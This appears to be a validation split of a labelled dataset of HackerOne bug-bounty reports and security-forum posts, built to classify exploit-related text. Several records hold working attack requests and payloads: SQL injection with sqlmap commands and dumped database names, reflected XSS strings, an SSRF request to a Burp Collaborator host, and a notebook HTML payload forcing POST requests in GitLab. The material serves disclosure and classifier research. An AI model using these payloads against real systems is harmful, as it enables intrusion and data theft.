-{"id": "6d130d1fbe4921442cc8", "text": "[Business Logic Errors] CVE-2022-27778: curl removes wrong file on error\n\n## Summary:\nCurl command has a logic flaw that results in removal of a wrong file when combining  `--no-clobber` and `--remove-on-error` if the target file name exists and an error occurs.\n\n## Steps To Reproduce:\n  1. `echo \"important file\" > foo`\n  2. `echo -ne \"HTTP/1.1 200 OK\\r\\nContent-Length: 666\\r\\n\\r\\nHello\\n\" | nc -l -p 9999`\n  3. `curl -m 3 --no-clobber --remove-on-error --output foo http://testserver.tld:9999/`\n  4. `ls -l foo*`\n  5. `cat foo.1`\n\n`-m 3` is used here to simulate a denial of service of the connection performed by the attacker.\n\n## Impact\n\nRemoval of a file that was supposed not to be overwritten (data loss). Incomplete file left of disk when it should have been removed. This can lead to potential loss of integrity or availability.", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": ["CVE-2022-27778"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "71fe19fbfa9ece04550a", "text": "[SQL Injection] time based SQL injection at [https://███] [HtUS]\n\nHello,\n\n##Summary\n\nwhile doing test on [`www.█████`](http://www.████████/) I’ve found that the endpoint at `/olc/setlogin.php` is vulnerable with SQL injection vulnerability\n\n##Vulnerable parameters \n\n- username\n- password\n\n##POC\n\n- using time based to verify , submit the below request\n\n```jsx\nPOST /olc/setlogin.php HTTP/1.1\nHost: www.██████\nCookie: UsafNoticeConsent=1; PHPSESSID=5r61rj890ogju3dvb5ptup2mn1; session=expiry=1657062712923491\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 74\nOrigin: https://www.██████████\nReferer: https://www.████/olc/sethomepage.html\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\n██████████'%2b(select*from(select(sleep(5)))a)%2b'&█████████\n```\n\n- we can see that the response time will be `5`\n\n{██████████]\n\n\n\n- sqlmap run command\n\n```jsx\npython3 sqlmap.py --level=5 --risk=3 --tamper=space2comment --random-agent  -u https://█████████ --data=\"████████&██████\" -p username --dbms=mysql \n```\n\n- if you got message `got a 302 redirect to '[https://www.█████:443/olc/sethomepage.html](https://www.████████/olc/sethomepage.html)'. Do you want to follow? [Y/n] n`\n\npress `n` to not follow the redirection \n\n- we can se that our target parameter is vulnerable\n\n```jsx\nPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n\nsqlmap identified the following injection point(s) with a total of 586 HTTP(s) requests:\n---\nParameter: username (POST)\n    Type: boolean-based blind\n    Title: OR boolean-based blind - WHERE or HAVING clause\n    Payload: username=-1559' OR 4924=4924 OR 'XiUq'='JgnT&██████████\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: █████' AND (SELECT 9612 FROM (SELECT(SLEEP(5)))xSGk) OR 'CPXv'='aouS&██████\n---\n[23:27:33] [WARNING] changes made by tampering scripts are not included in shown payload content(s)\n[23:27:33] [INFO] the back-end DBMS is MySQL\nweb application technology: Apache\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)\n[23:27:34] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/www.█████████'\n\n[*] ending @ 23:27:34 /2022-07-05/\n```\n\n███\n\n- add `--dbs` will back to us with the databases\n\n```jsx\navailable databases [13]:\n[] ███\n[] ██████mobile\n[] GET\n[] information_schema\n[] LEAM\n[] leat\n[] LEV\n[] mysql\n[] performance_schema\n[] SET\n[] test\n[] testadmin\n[*] testusers\n```\n\n## Impact\n\nattacker is able to get the database", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ed8b88e03f8841dba769", "text": "[Improper Input Validation] CVE-2023-28710 Apache Airflow Spark Provider Arbitrary File Read via JDBC\n\nIn all versions of Apache Airflow Spark Provider (the verification version is 4.0.0), because the parameters are not effectively filtered, the attacker can pass in malicious schema parameters (including malicious JDBC url) when establishing a connection with SparkJDBCHook, so that when establishing When connecting, a malicious mysql server can read any file on airflow.\n\nthis is screenshot of  email and ASF response email I submitted\n\n████████████████\n\n## Impact\n\nWhen airflow does not enable authentication, the attacker can modify the existing connection configuration information, so that the DAG that uses SparkJDBCOperator in the system is running and connected to a malicious mysql server (or other types of servers), and is read by the attacker on the system , and more seriously, attackers can send malicious serialized data, which eventually leads to remote code execution.\n\nThis deserialization command was not successfully verified because the version of apache-common-collections-3.2.2 used by pyspark is too high, but when the jdk version used by the target system is 7u21 or there are other exploit chains, it can Causes the deserialization command to execute", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2023-28710"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-07-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "f71ecf30c911cf9a54fd", "text": "Which of the subdomains are zones? Each zone has one SOA entry https://www.cloudflare.com/learning/dns/dns-records/dns-soa-record/", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2022-11-27", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "915743a5c15d40d84f91", "text": "[Unknown] How the Arch Angel stole Live Events\n\n**Summary:**\n\nI figured I'm well overdue for this. \n\nLooking forward to the 2024 LHE season!\n\nI <3 you Hackerone, & Community Team!\n\n**Description:**\n\n\n\n```\n\nEvery hacker on Hackerone liked Live Hacking a lot…  \nBut ArchAngel who’d been to fifteen did NOT!  \nThe Angel hated hacking! The whole live event season!  \nNow, please don’t ask why. No one quite knows the reason.\n\nIt could be perhaps there’s a WAF he can’t thwart,  \nIt could be perhaps the dupe window was too short,  \nBut I think that the most likely reason of all,  \nMay have been that the snack options were two sizes too small.\n\nWhatever the reason, dupe window or the snackers,  \nHe dreaded an invite while HATING the hackers,  \nStaring at his monitor with a sour, bearded frown,  \nAt all the hackers having fun in the live-event town.\n\nFor he knew every hacker at the LHE venue,  \nWas busy ordering drinks from the happy hour menu,  \n“And they’re collabing on bugs!” He snarled with a sneer,  \n“Tomorrow is the event day, it’s practically here!”\n\nThen he growled, with his angelic fingers nervously drumming,  \n“I MUST find some way to stop bounties from coming!”  \nFor Tomorrow, he knew, all the Customer girls and boys,  \nWould wake bright and early. They'd ready their employees!\n\nAnd then! Oh, the exploits! Oh, the exploits!  \nExploits! Exploits! Exploits!  \nThat's one thing he hated! The EXPLOITS!  \nEXPLOITS! EXPLOITS! EXPLOITS!\n\nThen the hackers young and old would sit and hunt bugs.  \nThey’d find bugs, and find bugs, and find BUGS BUGS BUGS BUGS!  \nThey’d find bugs for the customer, who’d give them some hugs,  \nWhich is something that made the arch angel say “ugh!”\n\nAnd THEN they’d do something he liked least of all!  \nEvery hacker at the live event, the tall and the small,  \nWould slam on the keyboard with their fingers jabbing,  \nThey’d hack side by side, and the hackers would start collabing!\n\nThey’d collab! And they’d collar! And they’d COLLAB COLLAB COLLAB!  \nAnd the more the Arch Angel thought of this Live Event Collab,  \nThe more the Arch Angel thought, “their bugs I must grab!”  \nWhy, for thirty-four years I’ve put up with it now!\n\n“I MUST stop the Live Event from starting! But HOW?”  \nThen he got an idea! An awful idea!  \nThe Arch Angel got a wonderful AWFUL idea!  \n“I know just what to do!” The Angel said with fervent,\n\nAs he put on his best Argentine accent  \nAnd he chuckled, “This is the ruse of the century!”  \n“Why with an accent and some stilts, I’ll look just like Ari!”  \n“All I need is some hair…” The Angel looked around.\n\nBut since The Angel was bald, there was none to be found.  \nDid that stop the Arch Angel? No! The Angel simply said,  \n“If I can’t grow my own hair, I’ll steal some good hair instead!”  \nSo he called up Nicole, and took out his shears,\n\nAnd glued on her locks, right above his ears.  \nThen he loaded some bags and some old empty sacks,  \nOnto a plane to go steal some uber leet hax.  \nThe Arch Angel was giddy, as his plane landed down,\n\nAnd slunk from the airport in the live event town.  \nThe venue was dark. He’d have so much success!  \nAll the hackers were still barhopping and partying with Jess!  \nWhen he came to first room of swag he’d finesse.\n\n“This is stop number one,” the old Ari-fake hissed,  \nAnd he walked in the door, empty bags in his fist.  \nHe tried to log into Twitch, a task very painful,  \nBut if Ariel could do it, then so could the Angel.\n\nHe got stuck only once, for a moment or two.  \nThen he restarted his laptop, his monitor blue.  \nAnd announced to the Twitch audience who was there for a show,  \n“These swag boxes,” he grinned, “are the first things to go!”\n\nThen he slithered and slunk, with a smile most unpleasant,  \nAround the whole room, and took every swag present!  \nT-shirts! Waterbottles! Stickers! Hoodies!  \nCustom Snowboards, and other long-awaited goodies!\n\nAnd he stuffed them in bags. Then the Arch Angel of gloom,  \nSet his eyes next on the triaging room.  \nHe slunk into that room. He watched the scope call!  \nHe peaked at the triage queue. His jaw started to f", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-12-15", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d12ad96644e477504717", "text": "[Improper Access Control - Generic] Staff and Triage can modify the initial post of a report, including of already disclosed reports\n\nFULL DISCLOSURE: I am a HackerOne employee and learned about it through this submission: https://███████-/issues/67828\n\n**Summary:**\n\nMembers of the HackerOne program (and likely other program members on their own program) and Triage can edit the information of the original report\n\nI used https://hackerone.com/reports/2000000 to demonstrate and the changes have since been reverted.\n\n**Description:**\n\n### Steps To Reproduce\n\n1. Go to any report, disclosed or undisclosed\n2. Press \"edit information\" on the original post\n3. Edit & save.\n4. Your changes are saved \n\n### Optional: Supporting Material/References (Screenshots)\n\n{F2560190}\n{F2560189} {F2560191}\n{F2560195}\n\n## Impact\n\nMembers and Triage can rewrite the story the hacker is trying to tell and edits are not transparant\n\n- Give hackers a bad image in disclosed reports\n- Tell a different story or lower impact artificially\n- The body is supposed to be immutable after 20 minutes", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-08-28", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "ad8193caf6511349e371", "text": "[Information Disclosure] 'Request English versions of web pages for enhanced privacy' keeps previous (grayed out) settings\n\n## Summary:\nEnabling 'Request English versions of web pages for enhanced privacy' in 'Choose your preferred language for displaying pages' continues to use the grayed out settings for JS and HTTP language preferences. This affects navigator.language, navigator.languages, but also Accept-Language.\n\n## Steps To Reproduce:\n\n  1. Change the list of languages in the browser preference 'Choose your preferred language for displaying pages', for example add a new language or reorder the list of languages.\n  2. From the same menu, enable  'Request English versions of web pages for enhanced privacy'. This will gray out the reconfiguration in step 1.\n  3. Verify if the setting in step 2 took place by checking navigator.language, navigator.languages and Accept-Language.\n\n## Supporting Material/References:\nAccept-Language: ab,en-US;q=0.7,en;q=0.3 is included HTTP Header output with the configuration attached.\n\n## Impact\n\nUsers that have previously changed language settings (or language settings were changed by the browser previously, such as from a locale-specific installation) may make use of this setting expecting to improve their privacy when using Tor Browser. For example, users might find few websites dynamically change their language, or change their threat model. The settings they changed gray out, which gives confidence that they are overwritten.\n\nHowever, an attacker can make use of both JavaScript fingerprinting (malicious scripts reading navigator.languages) and HTTP fingerprinting (malicious server reading Accept-Language) to identify users that have changed these settings. This affects users on a Strict security level (disabled JS) through the headers passed.\n\nTo resolve this, enabling the setting should enforce the language settings of an English default installation of Tor Browser globally, also maintaining the order of this configuration (that is, \"en-US,en\" and not \"en,en-US\"). Currently, I think the best workaround is to manually add, remove and reorder the language preferences or reset about:config's intl.accept_languages.", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-09-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fa85db5194ad0790fcf6", "text": "[Resource Injection] Arbitrary POST request as victim user from HTML injection in Jupyter notebooks\n\n### Summary\nAn attacker can create a Jupyter notebook that will make arbitrary POST requests as the victim user. In the \"worst case\" an attacker could make an admin create a new admin account for the attacker. Other possible attack vectors are forcing invites to private projects etc. Every POST request is possible.\n\nThis research is loosely based on the issue with Rails Ujs data-* parameters. Nowadays DOMPurify strips Rails Ujs data- attributes such as data-url and data-method. What is not stripped is arbitrary data attributes. Looking through the code in https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/main.js , which is run on page load in the UI, I found multiple vectors still possible to abuse.\n\nThe script hooks up a lot of event listeners and modifications to the DOM. What is of particular interest for us is the part that is delayed to let additional data on the page load.\n\n```\nfunction deferredInitialisation() {\n  const $body = $('body');\n\n  initTopNav();\n  initBreadcrumbs();\n  initTodoToggle();\n  initLogoAnimation();\n  initServicePingConsent();\n  initUserPopovers();\n  initBroadcastNotifications();\n  initPersistentUserCallouts();\n  initDefaultTrackers();\n  initFeatureHighlight();\n```\n\nReading through the source files for these functions I managed to find multiple selector/data-attribute combinations that can be used even with purified HTML.\n\nAs an example we have persistent_user_callout in\n\nhttps://gitlab.com/gitlab-org/gitlab/-/blob/master/app/assets/javascripts/persistent_user_callout.js\n\nwhere a POST request is made like\n\n```\ndismiss(event, deferredLinkOptions = null) {\n    event.preventDefault();\n\n    axios\n      .post(this.dismissEndpoint, {\n        feature_name: this.featureId,\n      })\n```\n\nthe `dissmissEndpoint` is controllable through a data attribute `data-dissmiss-endpoint`. The data attributes are extracted like so\n\n```\nexport default class PersistentUserCallout {\n  constructor(container, options = container.dataset) {\n    const { dismissEndpoint, featureId, deferLinks } = options;\n    this.container = container;\n    this.dismissEndpoint = dismissEndpoint;\n    this.featureId = featureId;\n    this.deferLinks = parseBoolean(deferLinks);\n\n    this.init();\n  }\n```\n\nTo be able to fire the dismiss function (and thus the POST request) we also need a `js-close` button\n\n```\nconst closeButton = this.container.querySelector('.js-close');\n```\n\nThe HTML needed to set this up is\n\n```\n<div class=\\\"js-new-user-signups-cap-reached\\\" data-dismiss-endpoint=\\\"https://gitlab.com/api/v4/projects/31573768/issues/1/todo\\\" data-defer-links=\\\"false\\\" data-feature-id=\\\"1\\\">\n    <button style=\\\"background-color: rgba(0, 0, 0, 0); border: 0; cursor: default; height: 100%; left: 0; position: absolute; top: 0; width: 100%; z-index: 1000\\\" class=\\\"js-close\\\">\n        hack\n    </button>\n</div>\n```\n\nThe styling is there to make the button as an invisible overlay over the whole page making it trigger on a click anywhere.\n\nNow to the attack. If an attacker creates a Jupyter Notebook there exists the possibility to add HTML in the output fields. This HTML will be sanitized by DOMPurify, but this will not stop the attack.\n\nA file like this will do as a simple POC\n\n```\n{\n  \"cells\": [\n    {\n      \"metadata\": { \"trusted\": true },\n      \"cell_type\": \"code\",\n      \"source\": \"<h1>asd</h1>\",\n      \"execution_count\": 1,\n      \"outputs\": [\n        {\n          \"output_type\": \"display_data\",\n          \"data\": {\n            \"text/plain\": \"<IPython.core.display.HTML object>\",\n            \"text/html\": \"<div class=\\\"js-feature-highlight\\\" data-dismiss-endpoint=\\\"https://gitlab.com/api/v4/todos/147611488/mark_as_done\\\" data-auto-devops-help-path=\\\"hej\\\" data-highlight-id=\\\"1\\\">asdf</div>\\n<div class=\\\"js-new-user-signups-cap-reached\\\" data-dismiss-endpoint=\\\"https://gitlab.com/api/v4/projects/31573768/issues/1/todo\\\" data-defer-links=\\\"false\\\" data-feature-id=\\\"1\\\"><button style=\\\"background-color: rgba(0, 0, 0, 0); border: 0; curso", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-05-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "41ef90f2e89641be0a17", "text": "[Cross-site Scripting (XSS) - Reflected] [XSS] Reflected XSS via POST request\n\n**Description:**\nXSS vulnerability found on one of `█████████` subdomains. [ DoD scope]\n\nAfter analyzing `https://██████████/` I found `██████/████████-historic.cfm` page that send some parameters to servers.  `fld_displaytype` parameter vulnerable to XSS vulnerability.\n\n`fld_displaytype=S` changed to `fld_displaytype=S\"%20accesskey%3d\"X\"%20onclick%3d\"alert('XSS Success!')`\n\nWAF deployed on the endpoint to prevent such a attacks but I found another domain linked to this host but WAF did not cover that so I success to fire the payload.\n\nBy sending the POST request to `https://█████████████████/` , payload has been successfully triggered. \n\n```\nPOST /██████/███████-historic.cfm HTTP/1.1\nHost: █████████\nCookie: CFID=29878711; CFTOKEN=71972184\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 347\nOrigin: null\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nTe: trailers\nConnection: close\n\nfld_graphfs=Y&fld_graphrs=N&fld_graphy1=N&fld_graphy2=N&fld_normal=Y&fld_max=Y&fld_min=Y&Submit=View-Graph&fld_from1=01%2F01%2F2023&fld_to1=12%2F31%2F2023&fld_displaytype=S\"%20accesskey%3d\"X\"%20onclick%3d\"alert('XSS Success!')&fld_type1=Plot&fld_frompor=&fld_topor=&fld_year1=2023&fld_year2=2023&fld_mon1=01&fld_day1=01&fld_mon2=12&fld_day2=31&fld_param=HT\n\n```\n\n\n- **WAF enabled** https://████████████/\n\n██████████\n- **WAF disabled** https://███████████████/\n\n███\n\n\n**Summary:**\nTrigger a hidden stored XSS payload requires user interaction*.\nuser should press ALT+SHIFT+X to call hidden payload.\n\n## References\nhttps://owasp.org/www-community/attacks/xss/\n\n## Impact\n\nBy exploiting this vulnerability an attacker can trick the users to execute XSS and steal user's cookies.\nLaunch advanced phishing attacks.\nExecute browser-based attacks etc.\n\n## System Host(s)\n████████████, ████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\n**Firefox**\n\n* Visit the following URL using Firefox\n`https://████████████/██████/█████████-historic.cfm`\n\n* Intercept the request before click on `View-Graph`\n\n* Change `fld_displaytype=S` to `fld_displaytype=S\"%20accesskey%3d\"X\"%20onclick%3d\"alert('XSS Success!')` in request body.\n\n* press ALT+SHIT+X and you will receive `XSS Success!` alert box.\n\n## Suggested Mitigation/Remediation Actions", "label": 1, "label_name": "vulnerability_discussion", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-02-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "d2f9932849d7c1b7bf7e", "text": "Coelho: ${LS_COLORS:10:1}c’a’t’${PATH:0:1}fl’a’g.txt Tried everything nothing seems to be working, can you give me some more hints", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-12-24", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "6fb1476ddf4eb9f66b06", "text": "For the question: Create a “For” loop that encodes the variable “var” 28 times in “base64”. the number of characters in the 28th hash is the value that must be assigned to the “salt” variable. The thing that I overlooked which is important for your script is the point “The NUMBER OF CHARACTERS” in the 28th hash. Your openssl output should look something like the following, with the “HTB” followed by 8 digits being the flag. *** WARNING : deprecated key derivation used. Using -iter or -pbkdf2 would be better. HTB******** Pseudocode for my for loop (the only part I really needed to change.) for i in range 1 up tp 28 do get the base64 value for var and assign it to a new version of var if i is equal to 28 then get the character count from the current value of var and assign that to salt fi done Good luck", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-03-13", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "732cb8f61e923be8256a", "text": "CTF Game vs. real world Pentesting\n\nHey folks, maybe you can help me with a brainbug: Most CTFs are based on Linux. Even THM, Vulnhub, etc. Not uncommon for webapps, but most (or nearly all) companies are running Windows and Active Directory stuff on their nets. I don’t want to raise the blinds even to OT/ICS/SCADA. Can anybody suggest material to learn/practice for “M$/AD Pentester’s Daily Grind”? Thank you Dom", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackersploit", "forum_id": "hackersploit", "timestamp": "2023-06-20", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "1ca47be7c6a67be19ded", "text": "[Server-Side Request Forgery (SSRF)] SSRF due to  CVE-2021-27905 in www.████████\n\nApache Solr is vulnerable to SSRF using the parameter \"masterUrl\". This issue is registered as [CVE-2021-27905](https://nvd.nist.gov/vuln/detail/CVE-2021-27905).\n\n## Impact\n\nA successful SSRF attack can often result in unauthorized actions or access to data within the organization, either in the vulnerable application itself or on other back-end systems that the application can communicate with. In some situations, the SSRF vulnerability might allow an attacker to perform [arbitrary command execution](https://portswigger.net/web-security/os-command-injection).\n\nAn SSRF exploit that causes connections to external third-party systems might result in malicious onward attacks that appear to originate from the organization hosting the vulnerable application, leading to potential legal liabilities and reputational damage.\n\n \n### Supporting Material/References\n\nhttps://portswigger.net/web-security/ssrf\nhttps://www.anquanke.com/post/id/238201\n\n## System Host(s)\nwww.██████████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\nCVE-2021-27905\n\n## Steps to Reproduce\n## Steps To Reproduce\n\nFirst wee need to send this GET request\n```\nGET /solr/admin/cores?wt=json HTTP/1.1\nHost: www.███\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36\nAccept-Language: en\nConnection: close\nAccept-Encoding: gzip\n\n```\nResponse\n```\nHTTP/1.1 200 OK\nConnection: close\nContent-Length: 1002\nCache-Control: max-age=2592000\nContent-Type: text/plain;charset=UTF-8\nDate: Tue, 04 May 2021 05:13:17 GMT\nServer: Microsoft-IIS/7.5\nX-Powered-By: ARR/2.5\nX-Powered-By: ASP.NET\n\n████\n```\nNow we can do a HTTP request to the target we want to test it on. I'll be using Burp Collaborator, to test it yourself, please replace the value accordingly.\n\nRequest \n```\nGET █████████masterUrl=http://6pwo0p85qh07drdgdlr9nr9hn8tyhn.burpcollaborator.net HTTP/1.1\nHost: www.███\nUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.3319.102 Safari/537.36\nAccept-Language: en\nConnection: close\nAccept-Encoding: gzip\n\n``` \n\nResponse\n```\nHTTP/1.1 200 OK\nConnection: close\nContent-Length: 174\nCache-Control: no-cache, no-store\nContent-Type: text/xml;charset=UTF-8\nDate: Tue, 04 May 2021 05:13:19 GMT\nEtag: \"17935cb837f\"\nExpires: Sat, 01 Jan 2000 01:00:00 GMT\nLast-Modified: Tue, 04 May 2021 05:13:20 GMT\nPragma: no-cache\nServer: Microsoft-IIS/7.5\nSet-Cookie: ARRAffinity=450f2c90c5749e5ead79f5f3389d0369674c71e046ba20f5151e80e68da4c908;Path=/;Domain=www.██████\nX-Powered-By: ARR/2.5\nX-Powered-By: ASP.NET\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<response>\n<lst name=\"responseHeader\"><int name=\"status\">0</int><int name=\"QTime\">0</int></lst><str name=\"status\">OK</str>\n</response>\n\n```\nAnd in Burp's collaborator we receive a HTTP request from the server:\n█████\n\n## Suggested Mitigation/Remediation Actions", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2021-27905"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-04-29", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "bc640b61ca4ac216da8f", "text": "[Improper Access Control - Generic] DNS rebinding in --inspect (insufficient fix of CVE-2022-32212 affecting macOS devices)\n\nThe fix for CVE-2022-32212, covered the cases for routable IP addresses, however, there exists a specific behavior on macOS devices when handling the `http://0.0.0.0` URL that allows an attacker-controlled DNS server to bypass the DNS rebinding protection by resolving hosts in the `.local` domain.\n\n[Original HackerOne report](https://hackerone.com/reports/1632921)\n\n[Node.js Blog](https://nodejs.org/en/blog/vulnerability/september-2022-security-releases/#dns-rebinding-in-inspect-insufficient-fix-of-cve-2022-32212-affecting-macos-devices-high-cve-2022-32212-cve-2018-7160)\n\n## Impact\n\nAttacker with access to a compromised DNS server or the ability to spoof its responses can gain access to the Node.js debugger, which can result in remote code execution.", "label": 2, "label_name": "actionable_exploit", "cve_ids": ["CVE-2022-32212", "CVE-2018-7160"], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2023-01-12", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "a1b4fbfcac2718e36db1", "text": "[Improper Authorization] staffOrderNotificationSubscriptionCreate Is Not Blocked Entirely From Staff Member With Settings Permission\n\nHi,\n\nI found that the GraphQL call `staffOrderNotificationSubscriptionCreate` is not blocked from the staff member with Settings permission\n\n## Steps to reproduce\n- Login as a staff member with `Settings` permission\n- Make this GraphQL call to `https://yoursubdomain.myshopify.com/admin/internal/web/graphql/core?operation=SwitcherNoStores`\n\n```\n{\"query\": \"mutation{staffOrderNotificationSubscriptionCreate(notificationRecipientIdentifier:\\\"testingforshopify@ngailong.com\\\",notificationRecipientType:EMAIL){staffOrderNotificationSubscription{id}}} \"}\n```\n\n- The response you see should be `Access denied for staffOrderNotificationSubscription field. Required access: `read_notification_settings` access scope. Also: User must have access to orders.`, and you would think this means a dead end, but reality is you have already added the order notification to the settings\n- Visit `/admin/settings/notifications` as an admin, you should notice the email `testingforshopify@ngailong.com` is added to the order notification already\n\n## Screenshot video\n{F1194404}\n\n## Impact\n\nI found that the GraphQL call `staffOrderNotificationSubscriptionCreate` is not blocked from the staff member with Settings permission", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-09", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "fd3c060fa9fe64a40097", "text": "[Cross-site Scripting (XSS) - Reflected] Reflected XSS at https://██████/██████████ via \"████████\" parameter\n\nThere is Reflected Cross site scripting issue at the following url:\n\n[https://█████/████](https://██████████/██████████)\nProof Of Concept\n\nhttps://████████/███████?text=&███=%22%3E%3Csvg/onload=alert(1)%3E████\n\n███████\n\n\nBest Regards\n@pelegn\n\n## Impact\n\nCookies Exfiltration\nSOAP Bypass\nCORS Bypass\nExecuting javascript on the victim behalf\n\n## System Host(s)\n██████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nNavigate to https://█████████/███?text=&███████=%22%3E%3Csvg/onload=alert(1)%3E██████\n\n## Suggested Mitigation/Remediation Actions", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-02-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "30551c318dfd8b679a89", "text": "[Information Disclosure] Exposed gitlab repo at https://adammanco.mtn.com/api/v4/projects\n\n## Summary:\nHello\nI found Exposed gitlab repo at https://adammanco.mtn.com/api/v4/projects\n\n## Steps To Reproduce:\nVisit https://adammanco.mtn.com/api/v4/projects \n\n\n## Supporting Material/References:\n```\n[{\"id\":5,\"description\":\"\",\"name\":\"test\",\"name_with_namespace\":\"Jodrico Jansen Van Vuuren / test\",\"path\":\"test\",\"path_with_namespace\":\"jodricoj/test\",\"created_at\":\"2021-06-15T00:26:18.149Z\",\"default_branch\":\"master\",\"tag_list\":[],\"ssh_url_to_repo\":\"git@adammanco.mtn.com:jodricoj/test.git\",\"http_url_to_repo\":\"https://adammanco.mtn.com/jodricoj/test.git\",\"web_url\":\"https://adammanco.mtn.com/jodricoj/test\",\"readme_url\":\"https://adammanco.mtn.com/jodricoj/test/-/blob/master/README.md\",\"avatar_url\":null,\"forks_count\":0,\"star_count\":0,\"last_activity_at\":\"2021-08-31T08:53:24.964Z\",\"namespace\":{\"id\":5,\"name\":\"Jodrico Jansen Van Vuuren\",\"path\":\"jodricoj\",\"kind\":\"user\",\"full_path\":\"jodricoj\",\"parent_id\":null,\"avatar_url\":\"https://secure.gravatar.com/avatar/2cf402b5d9e6b968e1a07c72a60b8f5e?s=80\\u0026d=identicon\",\"web_url\":\"https://adammanco.mtn.com/jodricoj\"}}]```\n\n## Impact\n\ninformation disclosure\n\nRegard \n@aliyugombe", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackerone", "forum_id": "hackerone", "timestamp": "2022-09-05", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
-{"id": "514022df1e3212ec1134", "text": "Hello, did you find a solution ? I have the same problem", "label": 0, "label_name": "non_exploit_noise", "cve_ids": [], "source": "hackthebox", "forum_id": "hackthebox", "timestamp": "2023-01-14", "split": "val", "label_source": "weak_cve_metadata_plus_actionability_terms"}
